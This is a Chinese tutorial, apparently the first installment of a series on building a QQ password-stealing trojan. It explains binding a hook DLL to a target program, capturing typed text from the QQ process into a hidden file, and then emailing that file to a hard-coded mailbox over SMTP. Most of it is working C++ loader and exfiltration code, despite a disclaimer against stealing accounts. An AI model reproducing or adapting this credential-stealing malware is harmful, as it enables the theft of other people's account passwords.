自己动手做QQ木马-----总序
声明:
本文只适合初学者,“帮助”他们从重复无趣的书本练习中解脱出来,真正的做一个他们感兴趣的东西。毕竟在枯燥无味的编程世界里,兴趣还是坚持向前的原动力,同时也揭开网上各种各样的QQ密码截取器的神秘面纱。郑重声明本人公布这篇文章并不鼓励大家去窃取他人的帐号密码,所以在此只贴出一些重要的体现技术原代码。
废话不多说了,先介绍一下本程序的构思及使用的相关技术。
1.手动或自动绑定目标文件,自动分解出DLL和原文件并运行。
本程序使用的绑定文件技术是最原始的,会被杀毒软件轻易识破,被绑定的文件结构如下:
当然也可以通过修改PE文件结构,插入木马程序到SECTION中,该方法技术要求比较高。(本人没去实践过,在这里就不多说了)
2.调用自己分解出的DLL,对目标文件运行的相关线程设置消息钩子。将截获的文本内容存储在指定的文件中。
3.从指定的文件取得发送内容,使用ESMTP发送邮件到指定信箱
在看看程序的制作及运行流程:(建议把图拷下来用ACDSEE放大看,该图是使用Visio做的,做的不好,见笑了)
上图说明:Setup.exe是本程序编译连接后的执行的第一个文件
Hook.dll是导出挂钩函数的动态连接库
Server.exe是Setup.exe运行后绑定了Hook.dll的PE文件,它可以绑定除DLL文件外的所有文件
123456.exe是Temp.exe运行后分解出的内容与Server.exe相同的PE文件
下面分析一下主程序的代码:
if (!AfxSocketInit())
{
AfxMessageBox("IDP_SOCKETS_INIT_FAILED");
return FALSE;
}
//通过本文件的长度来确定该程序的运行方式
CBindFile curFile;
if(!curFile.Initiate()) //主要枢纽,将在后面的绑定文件类中详细说明
return true;
//取得分解出的PE文件运行进程信息
PROCESS_INFORMATION PI;
ZeroMemory(&PI, sizeof(PI));
curFile.GetRunFileProcessInfo(PI);
//等待该子进程进入消息循环
if(0 != WaitForInputIdle(PI.hProcess, INFINITE))
{
MessageBox(NULL, "等待进入消息循环出错!", NULL, NULL);
return false;
}
//开始挂钩
hDllModule = GetModuleHandle("hook.dll");
if(NULL == hDllModule)
{
hDllModule = LoadLibrary("hook.dll");
if(NULL == hDllModule)
{
MessageBox(NULL, "DllModule is NULL", "PRINT", MB_OK);
return false;
}
//取得导出函数的地址
Hook_Start Hook_Start_Address;
Hook_Start_Address = (Hook_Start)GetProcAddress(hDllModule, "Hook_Start");
if(NULL == Hook_Start_Address)
return false;
if(!(Hook_Start_Address)(PI.dwThreadId))
{
MessageBox(NULL, "Can not complete hook!", NULL, NULL);
return false;
}
}
//等待分解出的第二个文件运行的程序结束
DWORD dwWaitingTime = 2*60*1000; //等待时间为2分钟
WaitForSingleObject(PI.hProcess, dwWaitingTime);
DWORD dwExitCode;
GetExitCodeProcess(PI.hProcess, &dwExitCode);
//2分钟后结束挂钩
if(NULL != hDllModule)
{
Hook_Stop Hook_Stop_Address;
Hook_Stop_Address = (Hook_Stop)GetProcAddress(hDllModule, "Hook_Stop");
if(NULL == Hook_Stop_Address)
{
::FreeLibrary(hDllModule);
return false;
}
(Hook_Stop_Address)();
::FreeLibrary(hDllModule);
}
//发送邮件
SendEMail();
//运行结束后删除分解出的临时文件
if(STILL_ACTIVE == dwExitCode)
{
WaitForSingleObject(PI.hProcess, INFINITE);
GetExitCodeProcess(PI.hProcess, &dwExitCode);
}
CloseHandle(PI.hThread);
CloseHandle(PI.hProcess);
DeleteFile(curFile.GetSecFilePath());
return true;
下面是SendEMail函数
bool CSetupApp::SendEMail()
{
HANDLE hFile = NULL;
DWORD dwDummy = 0;
BOOL
bResult = FALSE;
TCHAR *lpFileString = NULL; //文件数据缓冲区
DWORD dwFileSize = 0; //文件长度
hFile = CreateFile(FILE_PATH_NAME, GENERIC_READ,
FILE_SHARE_READ, NULL,
OPEN_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL);
if(INVALID_HANDLE_VALUE == hFile)
return false;
dwFileSize = GetFileSize(hFile, NULL);
lpFileString = new TCHAR[dwFileSize+1];
if(NULL == lpFileString)
return false;
ZeroMemory(lpFileString, dwFileSize+1);
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
bResult = ReadFile(hFile, lpFileString, dwFileSize, &dwDummy, NULL);
CloseHandle(hFile);
if(0 != lstrlen(lpFileString))
{
//将数据文件发送到指定的信箱
MAILMSG mailMsg;
lstrcpy(mailMsg.mail_server_name, "smtp.21cn.com");
mailMsg.mail_server_port = 25;
lstrcpy(mailMsg.mail_account, "zyfxyz");
lstrcpy(mailMsg.mail_password, "12345678"); //这里最好使用加密后的字符串,//不然的话在PE文件的.data节中//可以看到你的密码
lstrcpy(mailMsg.mail_from_address, "zyfxyz@21cn.com");
lstrcpy(mailMsg.mail_to_address, "zyfxyz@21cn.com");
lstrcpy(mailMsg.mail_subject, "Return");
ZeroMemory(mailMsg.mail_content, sizeof(mailMsg.mail_content));
if(dwFileSize > 800) //每次发送的DATA内容大小不得超过1000bytes
dwFileSize = 800;
lstrcpyn(mailMsg.mail_content, lpFileString, dwFileSize+1);
CSmtp_fz smtp(mailMsg);
if(smtp.SendMail())
{
//如果发送成功则删除数据文件
MessageBox(NULL, "发送成功,删除数据文件", NULL, NULL);
DeleteFile(FILE_PATH_NAME); //FILE_PATH_NAM文件存放截获文本数据
}
}
delete[] lpFileString;
return true;
}
后面几篇将分别详细解释绑定文件类CBindFile,邮件发送类CSmtp_fz以及Hook.dll的代码。